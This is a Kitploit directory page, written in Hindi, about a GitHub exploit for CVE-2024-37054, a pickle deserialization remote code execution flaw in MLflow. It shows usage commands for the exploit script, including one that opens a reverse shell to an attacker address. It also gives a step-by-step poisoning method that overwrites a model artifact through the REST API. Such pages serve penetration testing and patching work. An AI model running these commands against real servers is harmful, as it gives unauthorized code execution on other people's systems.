Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-37054 — CVE-2024-37054 एक्सप्लॉइट और दस्तावेज़ीकरण | Kitploit
उपकरण/GitHubGitHub/tristanqtn/cve-2024-37054
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubtristanqtn/cve-2024-37054

CVE-2024-37054

CVE-2024-37054 एक्सप्लॉइट और दस्तावेज़ीकरण

रिपॉजिटरी देखें
13 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-37054 — MLflow pyfunc डिसीरियलाइज़ेशन RCE

गंभीरता: क्रिटिकल
प्रभावित: MLflow 0.9.0 – 2.14.1
प्रकार: Python pickle डिसीरियलाइज़ेशन के माध्यम से मनमाना कोड निष्पादन

विवरण

mlflow.pyfunc.load_model() आर्टिफैक्ट स्टोर से python_model.pkl को बिना किसी सैनिटाइज़ेशन के डिसीरियलाइज़ करता है। कोई हमलावर जो MLflow artifacts REST API तक पहुँच सकता है, उस फ़ाइल को एक दुर्भावनापूर्ण pickle से ओवरराइट कर सकता है, जिससे मॉडल के अगली बार लोड होने पर मनमाने OS कमांड निष्पादित होते हैं।

आवश्यकताएँ

root@kitploit:~
pip install requests cloudpickle

उपयोग

root@kitploit:~
# Enumerate registered models
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  list

# Explicit model + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  revshell 10.10.16.1 4444

मुख्य विकल्प

यह कैसे काम करता है

  1. खोजें — एक मॉडल और उसका run_id / experiment_id खोजने के लिए /api/2.0/mlflow/registered-models/search को क्वेरी करें
  2. पॉइज़न करें — /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pkl पर एक दुर्भावनापूर्ण cloudpickle पेलोड PUT करें
  3. ट्रिगर करें — उस मॉडल पर mlflow.pyfunc.load_model() को कॉल करने वाला कोई भी कोड पाथ पेलोड को अनपिकल करता है और कमांड निष्पादित करता है

ट्रिगर चरण के लिए एक ऐप्लिकेशन एंडपॉइंट आवश्यक है जो मॉडल को लोड करता है। यदि कोई ज्ञात नहीं है, तो --no-trigger का उपयोग करें (या --trigger-url को छोड़ दें) और किसी भी उपलब्ध माध्यम से लोडिंग को ट्रिगर करें।

अस्वीकरण

केवल अधिकृत पेनिट्रेशन परीक्षण और शैक्षिक उद्देश्यों के लिए।

टूल डाउनलोड करें
फ़्लैगविवरण
--mlflow URLMLflow ट्रैकिंग सर्वर का बेस URL (आवश्यक)
--model NAMEपंजीकृत मॉडल का नाम — छोड़े जाने पर पहला मॉडल स्वतः चुना जाता है
--version Nमॉडल संस्करण — डिफ़ॉल्ट रूप से नवीनतम
--user / --passMLflow के लिए HTTP Basic Auth क्रेडेंशियल्स
--run-id / --exp-idज्ञात IDs के साथ मॉडल डिस्कवरी को बायपास करें
--trigger-url URLवह ऐप एंडपॉइंट जो load_model() को कॉल करता है — केवल अपलोड करने के लिए इसे छोड़ दें
--session COOKIEट्रिगर अनुरोध के साथ भेजी जाने वाली सत्र कुकी